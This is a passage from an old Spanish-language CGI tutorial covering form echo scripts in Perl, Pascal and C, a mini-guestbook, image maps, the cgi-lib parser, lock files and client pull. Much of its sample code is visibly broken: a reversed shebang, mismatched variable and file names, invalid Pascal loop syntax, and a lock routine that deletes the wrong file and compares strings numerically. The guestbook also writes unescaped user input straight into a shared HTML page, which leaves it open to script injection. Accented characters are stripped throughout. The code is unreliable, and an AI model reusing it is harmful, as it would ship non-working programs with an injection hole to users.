la informacin que enviamos, en este caso se trata de una pgina HTML, por
lo tanto el header apropiado es:
                                Content-type: text/html

Tomemos en cuenta tambin que los primeros dos saltos de lnea que introduci
mos son significativos. Los cdigo de retorno MIME, a los cuales pertenece
"Content-type..", necesitan dos "newlines" siguindolos para delimitar su fin.
No enviar este segundo newline nos traer bastantes problemas.
Los dems "newline" includos en la pgina que generamos no son realmente
necesarios, pero facilitarn la lectura de alguien que haga un "View Source".

Como vemos en los ejemplos tuvimos que generar todos los tags de la pgina,
pero eso result muy simple, no es as?
Ahora vamos a hacer algo un poco ms interesante, vamos a solicitar algunos
datos con un FORM apropiado, y vamos a retornar una pgina que contenga los
nombres de las variables utilizadas junto con el contenido de cada una ingresa
do por el usuario.


Un script que hace Eco de un Form.

En este punto comenzaremos a hacer uso de libreras especializadas (los sites
donde conseguir cada una de las libreras figuran al final de este texto).
Quisiera recalcar que estas libreras no son nicas, existen muchas variaciones
sobre el mismo tema, y cada una de ellas tiene su propia forma de manejarse,
por lo tanto es conveniente revisar cuidadosamente la documentacin que las
acompaa en caso de que se utilize alguna otra que no figure aqu.

Estas libreras nos ahorrarn el trabajo de separar los distintos componentes
que son encapsulados en la variable de entorno QUERY_STRING (recuerdan lo que
mencionamos en la primera parte?).
En el caso que estudiaremos, la llamada la hacemos al script en Perl, pero
obviamente cambiando el nombre del ejecutable de acuerdo al lenguaje que
estemos utilizando esto se soluciona.

Veamos el form que vamos a utilizar:

<HTML>
<HEAD>
<TITLE>Prueba con un FORM</TITLE>
</HEAD>
<BODY>
<H1>Ingresa los datos que corresponden para hacer la prueba;</H1>
<BR><HR>
<FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/prueba.pl">
<UL>
<LI>Nombre: <INPUT TYPE="text" NAME=nombre SIZE=20>
<LI>Edad: <INPUT TYPE="text" NAME=edad SIZE=2>
<LI>Hincha de:
<SELECT NAME="equipo">
        <OPTION SELECTED> Boca Juniors
        <OPTION> River Plate
        <OPTION> San Lorenzo
        <OPTION> Independiente
        <OPTION> Racing Club.
<SELECT>
<LI>Email: <INPUT TYPE="text" NAME=email SIZE=20>
</UL>
<INPUT TYPE="submit" VALUE="Ok"><BR>
<INPUT TYPE="reset"  VALUE="Borrar"><BR>
</FORM>
<HR>
</BODY>
</HTML>


El script que utilizaremos ser muy simple y nos va a servir de base para
futuros desarrollos. Veamos paso a paso su estructura;
        1. Primero llama al intrprete en caso de ser necesario (Perl).
        2. Luego de inclur/cargar la librera, de alguna manera corre la
           funcin que separa QUERY_STRING en sus componentes individuales.
        3. Asignamos dichos componentes a las variables que vamos a utilizar.
        4. Imprimimos una salida, como en cualquier programa y..
        5. Listo!

Aqu van los fuentes en cada uno de los lenguajes.

Ŀ
 PERL                                                                       
Ĵ
!#/usr/bin/perl                            < Esta lnea llama al intrpre
                                                te de Perl.                 
                                                                            
push(@INC,"/var/opt/ncsa/httpd/cgi-bin");                                   
require("cgi-lib.pl");                     < Inclumos la librera.      
                                                                            
&ReadParse;                                < Separamos las variables.    
                                                                            
$nombre = $in{'nombre'};                   < Asignamos los valores que   
$edad = $in{'edad'};                            nos enviaron a las variables
$equipo = $in{'equipo'};                        para utilizarlos.           
$email = $in{'email'};                                                      
                                                                            
print &PrintHeader;                        < Imprimimos el Header.       
print "<HTML>\n";                                                           
print "<HEAD>\n";                                                           
print "<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n";                 
print "</HEAD>\n";                                                          
print "<BODY>\n";                                                           
print "<HR>\n";                                                             
print "Tu nombre es ",$nombre,"<BR>\n";                                     
print "Tens ",$edad," aos y sos simpatizante de ",$equipo,"<BR>\n";       
print "Si alguien quisiera escribirte tu email es: ",$email,"<BR>\n");      
print "<HR>\n";                                                             
print "</BODY></HTML>\n";                                                   
                                                                            
Ĵ
 PASCAL                                                                     
Ĵ
Uses TPWCGI;                               < Inclumos la librera.      
                                                                            
Var nombre, edad,                          < Definimos las variables     
    equipo, email :string;                      que vamos a usar.           
                                                                            
Begin                                                                       
StartCGI;                                                                   
                                                                            
nombre := Getvalue ('nombre',1);           < Asignamos los valores que   
edad := Getvalue ('edad',1);                    nos enviaron a las variables
equipo := Getvalue ('equipo',1);                para utilizarlos.           
email := Getvalue ('email',1);                                              
                                                                            
MakeHeader;                                < Imprimimos el Header.       
Send ('<HTML>');                                                            
Send ('<HEAD>');                                                            
Send ('<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>');                  
Send ('</HEAD>');                                                           
Send ('<BODY>');                                                            
Send ('<HR>');                                                              
Send ('Tu nombre es '+nombre+'<BR>');                                       
Send ('Tens '+edad+'aos y sos simpatizante de '+equipo+'<BR>');           
Send ('Si alguien quisiera escribirte tu email es: '+email+'<BR>');         
Send ('<HR>');                                                              
Send ('</BODY></HTML>');                                                    
                                                                            
EndCGI;                                                                     
end.                                                                        
Ĵ
 C                                                                          
Ĵ
#include <stdio.h>                                                          
#include <errno.h>                                                          
#include <uncgi.h>                         < Inclumos la librera.      
char *getenv();                                                             
                                                                            
main()                                                                      
{                                                                           
 char  *nombre;                            < Definimos las variables     
 char  *edad;                                   que vamos a usar.           
 char  *equipo;                                                             
 char  *email;                                                              
                                                                            
uncgi();                                   < Separamos las variables.    
                                                                            
nombre = getenv("WWW_nombre");             < Asignamos los valores que   
edad = getenv("WWW_edad");                      nos enviaron a las variables
equipo = getenv("WWW_equipo");                  para utilizarlos.           
email = getenv("WWW_email");                                                
                                                                            
printf ("Content-type: text/html\n\n");    < Imprimimos el Header.       
printf ("<HTML>\n");                                                        
printf ("<HEAD>\n");                                                        
printf ("<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n");              
printf ("</HEAD>\n");                                                       
printf ("<BODY>\n");                                                        
printf ("<HR>\n");                                                          
printf ("Tu nombre es %s <BR>\n",nombre);                                   
printf ("Tens %s aos y sos simpatizante de %s <BR>\n",edad,equipo);       
printf ("Si alguien quisiera escribirte tu email es: %s <BR>\n",email);     
printf ("<HR>\n");                                                          
printf ("</BODY></HTML>\n");                                                
}                                                                           



Es evidente que a partir de este punto podramos abordar cosas ms complicadas
si quisieramos, ya que es posible utilizar todos los recursos de cada lenguaje
para efectuar las acciones y procesos que queramos.
Como sugerencia, la estructura que propongo para un script ms o menos decente
es la siguiente ( de todas maneras igual que en matemticas de primer grado,
"el orden de los factores no altera el producto", aunque s lo hace ms dficil
de mantener :)!

Ŀ
   Asignacin de variables.   
Ĵ
 Proceso principal del script 
 que generar la salida que   
 deseamos a partir de los              
 datos de entrada.            
Ĵ
 Envo de la pgina con los   
 resultados del proceso.      


Lo mejor es comenzar a practicar con las estructuras ms comunes, decisin(IF)
e iteracin (FOR), haciendo pequeos programas y probando las salidas obtenidas.
Por ejemplo, un script que dependiendo del contenido de la variable "nombre"
retorne una pgina con distintos mensajes segn sea quien ha completado el
form.
Los scripts pueden hacer cosas ms complicadas, como verificar que los campos
sean llenados correctamente, modificar archivos y hasta retornar una pgina
que no haya sido elaborada por ellos. En el siguiente y ltimo punto veremos
como implementar estos mtodos en la forma de un 'mini-guestbook'.


Un Mini-GuestBook

Vamos a armar una especie de Mini-Libro de Firmas, una aplicacin bastante
difundida, que nos servir de ejemplo para mostrar los puntos que mencion
ms arriba.
Esto comienza con un form muy chiquito que solicita los siguientes datos;

* Nombre
* Email
* Comentarios
 
A partir de all, lo que el usuario ingrese ser grabado en otra pgina, la
pgina del guestbook ms precisamente, y luego finalmente se presentar una
pantalla agradeciendo el comentario e invitando a mirar el Libro.

Para poder conseguir lo que queremos, utilizaremos un mtodo muy comn,
estableceremos una marca invisible (un comentario) en la pgina en cuestin
y tomaremos dicha marca como punto de partida para cada nuevo comentario.
Los pasos a seguir en este caso son los siguientes:

        1. Verificar la entrada del usuario, para que no existan campos vacos,
           retornando un mensaje de error si existe algun problema.
        2. Abrir y leer la pgina del mini-guestbook lnea por lnea (grabando
           cada una de ellas en un archivo temporario) hasta encontrar la
           marca que indica el comienzo de los comentarios (o sea el ltimo
           ingresado), grabar despus de la misma el input del usuario y
           terminar de copiar el resto del archivo.
        3. Cerrar los archivos, borrar el original y renombrar el temporario.
        4. Devolver un cdigo de retorno "Location.." que llevar al usuario
           a una pgina de agradecimiento que tendr un link al guestbook.

Muchos se preguntarn, Y que pasa si dos usuarios acceden al mismo tiempo al
archivo? Cmo hacen para leerlo/grabarlo? Quin tiene prioridad?
Creo que sera intentar avanzar demasiado en este momento, a manera de comen-
tario (de todas maneras les contar como hacerlo en la tercera parte) lo que
se necesita es una manera de trabar el acceso al archivo mientras se est
trabajando con l.

Como siempre, veremos el form que permite al usuario agregar su nombre y su
comentario a nuestro Libro de Firmas.


<HTML>
<HEAD>
<TITLE>Firme nuestro Libro</TITLE>
</HEAD>
<BODY>
<H1>Ingrese sus datos y el comentario que desee hacernos:</H1>
<BR><HR>
<FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/ingreso.pl">
 Nombre:<BR><INPUT TYPE="text" NAME=nombre SIZE=20><BR>
 Email: <BR><INPUT TYPE="text" NAME=email SIZE=20><BR>
 Su comentario: <BR> <TEXTAREA NAME="comentario" ROWS=5 COLS=40> Escriba aqui
                       su comentario.</TEXTAREA> <BR>
<INPUT TYPE="submit" VALUE="Ok"><BR>
<INPUT TYPE="reset"  VALUE="Borrar"><BR>
</FORM>
<HR>
</BODY>
</HTML>


Ŀ
 PERL                                                                       
Ĵ
!#/usr/bin/perl                            < Esta lnea llama al intrpre
                                                te de Perl.                 
                                                                            
push(@INC,"/var/opt/ncsa/httpd/cgi-bin");                                   
require("cgi-lib.pl");                     < Inclumos la librera.      
                                                                            
&ReadParse;                                < Separamos las variables.    
                                                                            
$nombre = $in{'nombre'};                   < Asignamos los valores que   
$email = $in{'email'};                          nos enviaron a las variables
$comentario = $in{'comentario'};                para utilizarlos.           
                                                                            
                                                                            
if (($nombre eq "") || ($email eq "")      < Si alguno de los campos est
   || ($comentario eq ""))                      vaco, retornaremos la      
 {                                              siguiente pgina con este   
print &PrintHeader;                             mensaje de error.           
print "<HTML>\n";                                                           
print "<HEAD>\n";                                                           
print "<TITLE> Error en el Ingreso</TITLE>\n";                              
print "</HEAD>\n";                                                          
print "<BODY>\n";                                                           
print "<HR>\n";                                                             
print "<H1>Alguno de los campos que ingres no contena datos </H1>";       
print "Por favor apriete este boton para ingresar sus datos nuevamente";    
print "<AHREF="/images/boton.gif">                                          
print "<HR>\n";                                                             
print "</BODY></HTML>\n";                                                   
exit;                                      < Esto hace una llamada para  
}                                               finalizar el script luego   
                                                del mensaje de error.       
                                                                            
open(GB,"</htdocs/mini-gb.html");          < Abrimos y leemos el         
@lineas = <GB>;                                 original guardando su conte-
close GB;                                       nido en el array "lineas".  
                                                                            
$comentario =~ s/\n/<BR>\n/go;             < Agregamos los "breaks"      
                                                en cada newline del         
                                                contenido de la TEXTAREA.   
                                                                            
                                                                            
 open(GB,">/htdocs/mini-gb.htm");                                           
 foreach $linea (@lineas) {                                                 
    $linea =~ s/<!--ULTIMO COMENTARIO-->/<!--ULTIMO COMENTARIO-->\nNombre:  
           $nombre<BR>\n Email: <A HREF=\"mailto:$email\">$email<\A><BR>\n  
           Comentarios:<BR>\n$comentario<HR>\n/o;                           
                                                                           
      print GB $line;              >Aqu grabamos cada lnea,reemplazando 
      }                               con el input del usuario en el lugar  
      close GB;                       donde encontremos la marca.           
                                                                            
                                                                            
print "Location: http://mimaquina.midominio/httdocs/gracias.htm\n\n";       
                                                                           
                           >Vamos a la pgina de agradecimiento.          
                                                                            
                                                                            
Ĵ
 PASCAL                                                                     
Ĵ
Uses TPWCGI;                               < Inclumos la librera.      
                                                                            
Var nombre, edad, linea                    < Definimos las variables     
    equipo, email :string;                      que vamos a usar.           
    Arch-In, Arch-Out :text;                                                
                                                                            
assign (Arch-In,'D:\WEBSITE\HTDOCS\MINI-GB.HTM');                           
assign (Arch-Out,'D:\WEBSITE\HTDOCS\MINI-GB.TMP');                          
                                                                            
reset (Arch-in);                                                            
rewrite (Arch-Out);                                                         
linea := '';                                                                
                                                                            
Begin                                                                       
StartCGI;                                                                   
                                                                            
nombre := Getvalue ('nombre',1);           < Asignamos los valores que   
email := Getvalue ('email',1);                  nos enviaron a las variables
comentario := Getvalue ('comentario',1);        para utilizarlos.           
                                                                            
                                                                            
if (( nombre = '') or (email = '')         < Si alguno de los campos est
   or (comentario = '') )                       vaco, retornaremos la      
then begin                                      siguiente pgina con este   
     MakeHeader;                                mensaje de error.           
     Send ('<HTML>');                                                       
     Send ('<HEAD>');                                                       
     Send ('<TITLE> Error en el Ingreso</TITLE>');                          
     Send ('</HEAD>');                                                      
     Send ('<BODY>');                                                       
     Send ('<HR>');                                                         
     Send ('<H1>Alguno de los campos que ingres no contena datos </H1>'); 
     Send ('Por favor apriete este boton e ingrese sus datos nuevamente');  
     Send ('<A HREF="/images/boton.gif">                                    
     Send ('<HR>\n');                                                       
     Send ('</BODY></HTML>');                                               
     EndCGI;                                                                
     end;                                                                   
                                                                            
else begin                                                                  
                                                                            
     Readln (Arch-In, linea);                                               
     while  and NOT EOF (Arch-In) do                                        
       begin                                                                
       Writeln (Arch-Out, linea);    >Aqu grabamos cada lnea,reemplazando
       Readln (Arch-In, linea);       con el input del usuario en el lugar 
                                      donde encontremos la marca.          
                                                                           
       If (linea = '<!--ULTIMO COMENTARIO-->')                              
          then begin                                                        
               Writeln (Arch-Out, linea);                                   
               linea := 'Nombre: '+nombre+'<BR>';                           
               Writeln (Arch-Out, linea);                                   
               linea := 'Email:<A HREF="mailto:'+email+'">+email+'</A><BR>';
               Writeln (Arch-Out, linea);                                   
               linea := 'Comentario: <BR>';                                 
               Writeln (Arch-Out, linea);                                   
               for i := 1 to GetLinNum ('comentario') do                    
                   begin                                                    
                   linea := GetValue ('comentario',1)+'<BR>';               
                   Writeln (Arch-Out, linea);                               
                   end;                                                    
               end;                  > Agregamos los "breaks"          
       end;                                 en cada newline del             
                                            contenido de la TEXTAREA.       
Close (FI);                                                                 
Close (FO);                                                                 
                                                                            
erase (FI);                                                                 
rename (FO,'D:\WEBSITE\HTDOCS\DOCUMEN\MINI-GB.HTM');                        
                                                                            
Send ('Location: http://mimaquina.midominio/httdocs/gracias.htm');          
Send ('');                                                                 
EndCgi                     >Vamos a la pgina de agradecimiento.          
end.                                                                        
                                                                            



Me pareci redundante incluir la versin en C ya que esta puede ser fcilmente
inducida a partir del fuente en Pascal.
Como el TEXTAREA que utilizamos para cargar el comentario entrega sus datos
slo separados por newlines, tuvimos que hacer un pequeo proceso en cada
uno de los programas para generar un <BR> por cada uno de ellos en la pgina
definitiva.
Notarn que existe diferencias en la forma de hacer el "update" del archivo en
cada una de las versiones. En el fuente Perl aprovech una funcin de sustitu
cin bastante potente que simplifica las cosas, en cambio en la versin en
Pascal hubo que hacer dicha sustitucin "a mano".
Para finalizar esta segunda parte veremos una especie de lista de cosas a
tomar en cuenta la hora de programar scripts  CGI.


Puntos importantes al programar scripts.  

Un script CGI debe;

* Ser ejecutable (o en el caso de Perl incluir la llamada al intrprete)
* Estar ubicado en el directorio cgi-bin. La ubicacin de este server va a
  estar definida por el administrador del server.
* Sea capaz de acceder a los archivos que necesita.
  Como el script corre desde el directorio cgi-bin, todas las referencias
  relativas que hagamos van a estar referenciadas al mismo. Por las dudas,
  cuando tengamos que retornar una pgina HTML completa, usemos su URL
  completa (http://....) .
* Tener seteados los permisos correctamente.
  Perdonen que siga jodiendo con lo mismo, pero ms de una vez las cosa no me
  anduvieron por esta sencilla razn. (Nadie poda ejecutar el programa
  excepto yo...)


------------------------------------------------------------------------------

Imgenes clikeables.

A pesar que este tipo de elementos no est conectado directamente con los
scripts CGI pens en incluirlos dado que tambin son una de las formas de
incrementar la interactividad entre el usuario y el web site.
Bsicamente una imgen clikeable (es una acepcin que invent, ya fu la que
me pareci ms correcta en castellano) es una imgen, un grfico que cuando es
clikeada en alguna de sus partes enva las coordenadas X e Y de la posicin del
mouse en ese momento y el server a partir de ellas genera un enlace con otras
pginas.

El uso ms comn de este tipo de imgenes es crear barras de herramientas
personalizadas, o regiones en un grfico que permitan al usuario navegar hasta
un nuevo documento.

En teora existen tres formas de lograr este tipo de imagenes;
Ŀ
Server-Side Image Maps (antigua)                                            
Es la forma ms antigua, utilizaba un FORM para enviar la informacin y     
haba que programar un script en el server que procesara dicha informacin. 
Ĵ
Server-Side Image Maps (moderna)                                            
Es la forma ms comn y ms ampliamente utilizada, utiliza el tag ISMAP y la
informacin es procesada por el web server.                                 
Ĵ
Client-Side Image Maps                                                      
Es la forma ms moderna (y menos difundida) slo soportada por los browsers 
en sus ltimas versiones,y la informacin es procesada por el mismo browser.


Como todos los Web servers de la actualidad soportan la segunda forma,
descartaremos la revisin de la primera y comenzaremos directamente a usar el
tag ISMAP.

Partiendo de una imagen (un .GIF) elegiremos dentro de ella las reas que
funcionarn como links a otros documentos.
Dichas reas pueden ser definidas en base a uno o ms de los siguientes
elementos.

RECT (x1,y1) (x2,y2) Determina un rea rectangular en base a los vrtices de
su diagonal principal.
CIRCLE (a,b,r) Determina un crculo de centro (a,b) y de radio r.
POLY (x1,y1) (x2,y2) .... (x1,y1) Determina un polgono cuyos vrtices (x,y)
son dispuestos secuencialmente uno detrs de otro.

Almacenaremos estos elementos en un archivo que tendr ms o menos el
siguiente formato:
Ŀ
 default /default.htm                                     
 RECTANGLE (475,157) (611,344) /principal.htm             
 RECTANGLE (233,182) (447,359) /buscar.htm                
 CIRCLE (130,54,20) /circulo.htm                          
 POLY (46,27) (57,33) (58,23) (68,35) (46,27) /carita.htm 


Usando un paquete grfico cualquiera y revisando la posicin del cursor
podremos construir este tipo de archivos, el nico problema es que nos puede
resultar bastante tedioso el hacerlo "a mano".
Existe un freeware realmente excelente llamado MapThis! que hace todo el
trabajo por nosotros que puede ser bajado de cualquier repositorio de
shareware como OAK, Garbo, CICA, SimTel, etc..

Veamos entonces la estructura del archivo. La primera lnea linkea el
documento que ser cargado en caso de que no clikeemos en ninguna de las
reas especificadas por los elementos que definimos. Si omitimos el tipo de
elemento el server tomar por default el RECT.
Por convencin, grabaremos este archivo con la extensin .MAP en el directorio
que ms nos convenga.

Cuando tengamos que poner el tag IMG correspondiente a la imagen en la pgina
en cuestin, agregaremos el parmetro ISMAP y haremos un hyperlink al .MAP de
esta manera.

<A HREF="/maps/dibujo.map"><IMG SRC="/images/barrita.gif" BORDER=0 ISMAP></A>

Entonces una vez cargada la pgina en nuestro browser, cada vez que clikeemos
en alguna parte de la imagen , el browser enviar las coordenas de la ubicacin
en la que nos encontrabamos (esos numeritos que aparecen en la barra de status)
al server, y luego de esperar su proceso, ste ltimo nos devolver la
respuesta correspondiente.

Este mecanismo (Server-side), induce un cierto retardo (el proceso por parte
del server de nuestro pedido) por lo cual recientemente Netscape introdujo un
un nuevo mecanismo conocido como Client-Side Image Maps el cual veremos a
continuacin.

Client-Side Image Maps.
En vez de realizar la conversin coordenadas/hyperlink en el server, esta
ser realizada por el browser.
El .MAP que definamos en el mtodo anterior AHORA debe estar includo DENTRO
del cdigo HTML con el siguiente formato.

<MAP NAME="barradetareas">
<AREA SHAPE="RECT" COORDS="475,157,611,344" HREF="principal.htm">
<AREA SHAPE="RECT" COORDS="233,182,447,359" HREF="buscar.htm">
<AREA SHAPE="CIRCLE" COORDS="130,54,20" HREF="circulo.htm">
<AREA SHAPE="POLY" COORDS="46,27,57,33,58,23,68,35,46,27" HREF="acarita.htm">
</MAP>

Y el link en el tag IMG quedara as:
<IMG SRC="/images/barrita.gif" USEMAP="#barradetareas">

En MAPNAME definimos el nombre del mapa y en USEMAP lo referenciamos.
Al probarlo podremos ver que en la barra de status no aparecen las coordenadas
sino directamente el nombre de la pgina en cuestion. Si utilizamos nombres
de pgina significativos esto puede ser de gran ayuda para el usuario.

Este mtodo obviamente es mucho ms rpido (no implica un intercambio de
informacin con el server) pero tiene la desventaja de que no est
implementado en todos los browsers todava, a pesar de que est propuesto
como estndar para la definicin de HTML 3.0.
Para cubrir este aspecto podemos utilizar los dos mtodos simultneamente
de esta manera.

<A HREF="/maps/dibujo.map">
<IMG SRC="/images/barrita.gif" USEMAP="#barradetareas" BORDER=0 ISMAP></A>

Si el browser no llegara a entender el USEMAP, procesar nuestro pedido en
base al link del ISMAP.



Desempaquetando informacin.

Aunque este tema puede resultar algo "tcnico" creo que resulta interesante
incorporarlo al tutorial, ya que nos permite conocer el funcionamiento de esas
"cajas negras" que son las libreras, las cuales hemos utilizado al programar
nuestros scripts.
Sabemos que cuando usamos el mtodo POST toda la informacin de un form es
"empaquetada" en una variable llamada QUERY_STRING, pero... en qu forma?

La variable QUERY_STRING puede almacenar solamente un string continuo sin
espacios, de manera que para enviar varios campos (y espacios) debe existir
algn tipo de codificacin de los mismos.
De hecho, podemos verla en el siguiente ejemplo.
Supongamos que en nuestro form solicitamos los siguientes datos:
Ŀ
Nombre: Sebastian                   (para variar :)
Edad: 22                          
Simpatizante de: Boca Juniors      (que grande boquita:->


Como decamos estos datos deben ser empaquetados en un nico string, esto se
hace poniendo un "&" (ampersand) entre cada variable y reemplazando cada
espacio por un signo "+", con lo cual conseguimos que la variable quede as;

ͻ
QUERY_STRING = "nombre=Sebastian&edad=22&equipo="Boca+Juniors"
ͼ

Adicionalmente, ciertos caracteres son reemplazados por su valor ASCCI en un
formato hexadecimal (%xx). Como vemos, esta ensalada de letras es imposible
de manejar tal como est, por lo tanto recurrimos a los "parsers" cuya funcin
es la de separar estos valores en cmodas y agradables variables.

Parsers CGI.
La rutina escrita para Perl es un poco (slo un poco) ms clara que su
correspondiente equivalente en C, por lo tanto la utilizaremos para la
explicacin del funcionamiento de un parser.
Perl utiliza los llamados "arrays asociativos" que son muy similares
a los arrays que todos conocemos, excepto por la salvedad (y a la vez gran
ventaja) de que los ndices no son nmericos, sino alfanmericos.
Cmo es esto ? En esta rutina, todos los campos que se separan son almacenados
en un array asociativo con el nombre @in. Si queremos acceder al contenido
del campo edad, por ejemplo, ste se encuentra en la posicin "edad" y el
cdigo empleado es el siguiente.
@in { 'nombre'};

Lo que sigue es la rutina &ReadParse (que figura en la lbreria "cgi-lib.pl"
de S.E.Brenner) comentada ampliamente para su mejor entendimiento.

Ŀ
# Perl Routines to Manipulate CGI input                                     
# S.E.Brenner@bioc.cam.ac.uk                                                
Ĵ
# ReadParse                                                                 
# Lee datos envados con POST o GET, los convierte a texto simple,y pone    
# un campo=valor en cada componente de la lista "@in"                       
# Tambin crea pares de campo/valores en %in, usando '\0' para separar      
# selecciones mltiples                                                     
                                                                            
sub ReadParse {                                                             
  # Definicin de las variables a utilizar.                                 
    local (*in) = @_ if @_;                                                 
    local ($i, $loc, $key, $val);                                           
                                                                            
  # De acuerdo al mtodo de envo almacena en la variable $in el texto.     
  if ($ENV{'REQUEST_METHOD'} eq "GET") {                                    
    $in = $ENV{'QUERY_STRING'};                                             
  } elsif ($ENV{'REQUEST_METHOD'} eq "POST") {                              
    read(STDIN,$in,$ENV{'CONTENT_LENGTH'});                                 
  }                                                                         
                                                                            
  @in = split(/&/,$in);     #separa en un array los contenidos de $in que se
                             encuentran separados por "&"                   
                                                                            
  foreach $i (0 .. $#in) {                                                  
    #Convierte los "+" en espacios.                                         
    $in[$i] =~ s/\+/ /g;                                                    
                                                                            
    # Separa el campo y su contenido .                                      
    ($key, $val) = split(/=/,$in[$i],2); # corta en el primer =.            
                                                                            
    # Convierte %XX de nmeros hexadecimales a alfanmericos.               
    $key =~ s/%(..)/pack("c",hex($1))/ge;                                   
    $val =~ s/%(..)/pack("c",hex($1))/ge;                                   
                                                                            
    # Asocia cada campo con su valor.                                       
    # usando \0 como separador de elementos mltiples(checkbox por ej)      
    $in{$key} .= "\0" if (defined($in{$key}));                              
    $in{$key} .= $val;                                                      
                                                                            
  }                                                                         
  return 1;                                                                 
}                                                                           


Esta no es la nica librera que existe para manejar CGI bajo Perl , pero
s la ms utilizada. Segn el autor nuevas versiones incorporarn ms
facilidades, tales como file uploading y otras.



Locking de archivos.

En la segunda parte de este documento plante el hecho problemtico de que dos
usuarios pretendan acceder al mismo tiempo a un mismo archivo, como es el caso
del mini-guestbook.
En Unix tenemos recursos que nos permiten realizar este tipo de bloqueos con
una llamada al sistema, pero bajo otros sistemas (y para mantener la "transpor
tabilidad" de nuestros scripts, veremos una tcnica muy simple que puede ser
implementada en cualquier plataforma y que puede ser utilizada sin problemas.

Cuando dos usuarios quieren leer/escribir un mismo archivo (en realidad los
scripts llamados por ellos) se produce un conflicto, el de saber quien tiene
la prioridad al hacerlo. Una manera de resolver este conflicto es crear un
archivo "lock" cuya sola presencia nos indique que el archivo esta siendo
accedido en ese momento.
As cuando nuestro script pretenda leer/escribir el archivo, primero consultar
la existencia del "lock", si existe esperar un segundo y volver a intentar
y en caso de que no exista lo crear y proceder a la consulta.
Un ejemplo comentado en Perl nos mostrar esta tcnica:

Ŀ
$salir = 'no';                                                     
 while ($salir != 'si') {                                          
   if (-e "/mini-gb.lock") {                                       
     # Si el archivo existe,  esperamos 1 segundo.                 
     sleep(1);                                                     
     }                                                             
   else {                                                          
     # Al no existir el archivo, lo creamos y empezamos el proceso.
     open(LOCK,">/mini-gb.lock");                                  
     close LOCK;                                                   
  . . . . . . . . .Proceso de nuestro script. . . . . . . . .      
                                                                   
     # Destrabamos el archivo (lo eliminamos)                      
     unlink("/guestlock");                                         
                                                                   
     #Salimos de nuestra rutina                                    
     $salir = si;                                                  
     }                                                             
   }                                                               





Scripts avanzados.
A partir de este punto analizaremos en detalle los requisitos para el manejo
de documentos dinmicos, profundizando en el conocimiento de la forma de
trabajo del protocolo HTTP y los mensajes MIME.

Documentos Dinmicos

Para introducirnos en el tema de los documentos dinmicos nos basaremos en una
aplicacin prctica, la animacin, es decir imagenes en movimiento sin dejar
de lado el hecho de que esta ltima es slo una de las mltiples posibilidades
que nos brinda el manejo dinmico de la informacin.

Actualmente existen tres mtodos (si incluimos el gif multipart) para poder
manejar informacin dinmicamente, en orden de eficiencia estos son;

Ŀ
Client Pull                                                                 
El server enva un "stream" de informacin, incluyendo una directiva (en la 
respuesta HTTP) que dice "vuelva a cargar estos datos en 5 segundos" o "vaya
y cargue esta URL en 10 segundos". Despes de que se cumple el tiempo especi
ficado, el browser hace lo que se le indic, o sea recargar la pgina actual
o conseguir una nueva pgina.                                               
Ĵ
Server Push                                                                 
El server enva un "stream" de informacin y el browser la muestra, pero    
sigue manteniendo la conexin abierta; cuando el server lo requiera, puede  
continuar enviando ms informacin para que el browser la muestre, y as    
sucesivamente..                                                             
Ĵ
Gif multipart                                                               
Se trata del mtodo ms avanzado (lo vieron en WebTV?) que utiliza un nuevo 
formato de imagen GIF en donde se incluyen mltiples cuadros separados por  
comandos de animacin, los cuales pueden ser vistos con el browser de       
Netscape  partir de la versin 2.0                                          


Analicemos en detalle cada uno de los mtodos.

Client Pull
Para muestra basta un botn, as que de entrada prueben el siguiente cdigo;

<META HTTP-EQUIV="Refresh" CONTENT=1>
<TITLE> Primera pgina</TITLE>
<H1> HOLA! </H1>
Una demostracion de documentos dinamicos<P>

Y?? Qu pas?, por el bien de este tutorial espero que el documento haya sido
recargado por el browser al pasar un segundo.

Esto lo logramos al agregar el tag "META" (el cual permite simular respuestas
HTTP en pginas HTML) que le dice al browser que el server le est enviando
un header con la indicacin "Refresh: 1".
Cambiando el valor, cambiamos el tiempo de retardo obviamente.
Observemos que cada directiva "Refresh" es nica y por tanto la pgina NO ser
refrescada cada un segundo eternamente, sino una nica vez y que al tratarse
de una respuesta HTTP (simulada) la misma debe figurar al comienzo de nuestra
pgina. 
Otra cosa que podemos lograr con este tag es cargar otro URL luego de una
determinada cantidad de tiempo. La sintaxis es la siguiente:

<META HTTP-EQUIV="Refresh" CONTENT=10; URL=http://mimaq.midominio/dinamic.htm>

Que har que el browser luego de diez segundos de haber cargado la primera
pgina vaya y traiga la que se encuentra referenciada por la variable URL.
Un detalle importante es que debemos utilizar URLs absolutos, es decir incluir
en la definicin el "http://..."  y no emplear URLs relativos.

Y que pasara si hacemos lo siguiente:
Ŀ
pri.html                               seg.html                            
Ĵ
<META HTTP-EQUIV="Refresh" CONTENT=3; <META HTTP-EQUIV="Refresh" CONTENT=3;
URL=http://mimaq.midominio//seg.html> URL=http://mimaq.midominio//pri.html 
                                                                           


Ms de uno se habr dado cuenta de que estos dos documentos se llaman el uno
al otro cada tres segundos, generando una especie de "loop" infinito.
A partir de este ejemplo, podemos inducir varias otras combinaciones tales
como la de un documento que se llame a si mismo cada 0 segundos provocando as
tambin este tipo de "loops sin fin".
O podramos hacer una cadena ms larga, como la que sigue;

Pgina 1                               
     Pgina 2                         Con la cual obtendramos una especie
             Pgina 3                 de animacin aunque por cierto,
                    Pgina 4          bastante pobre.
                           Pgina 5    
  


Un ejemplo de utilizacin prctica de esta tcnica ocurre en aquellas pginas
que nos indican que la pgina original ha cambiado de lugar y que en cinco
segundos seremos automticamente redireccionados a la nueva ubicacin.

Server Push

En contraste con el Client Pull, este mecanismo aprovecha que el server puede
mantener una conexin abierta por un tiempo indefinido, dejando espacio para
que sean enviadas varias respuestas secuencialmente.
Para lograrlo se utiliza un tipo MIME experimental (nuevo, no registrado an
como standard) llamado "multipart/x-mixed-replace".

Mensajes MIME multipart.
Existen varios tipos diferentes de mensajes "multipart"MIME. Cada uno de ellos
le indica al cliente como debe procesar las diferentes partes que le sern
enviadas.
Con el tipo "multipart/mixed", la informacin de cada parte es independiente
de las otras, y el cliente debera mostrar una tras otra a medida que van
llegando. Con el tipo "multipart/alternative", la informacin de cada parte es
idntica, pero estan formateadas de una manera distinta de manera que el
cliente determina cual es el "mejor" formato que puede mostrar (por ejemplo
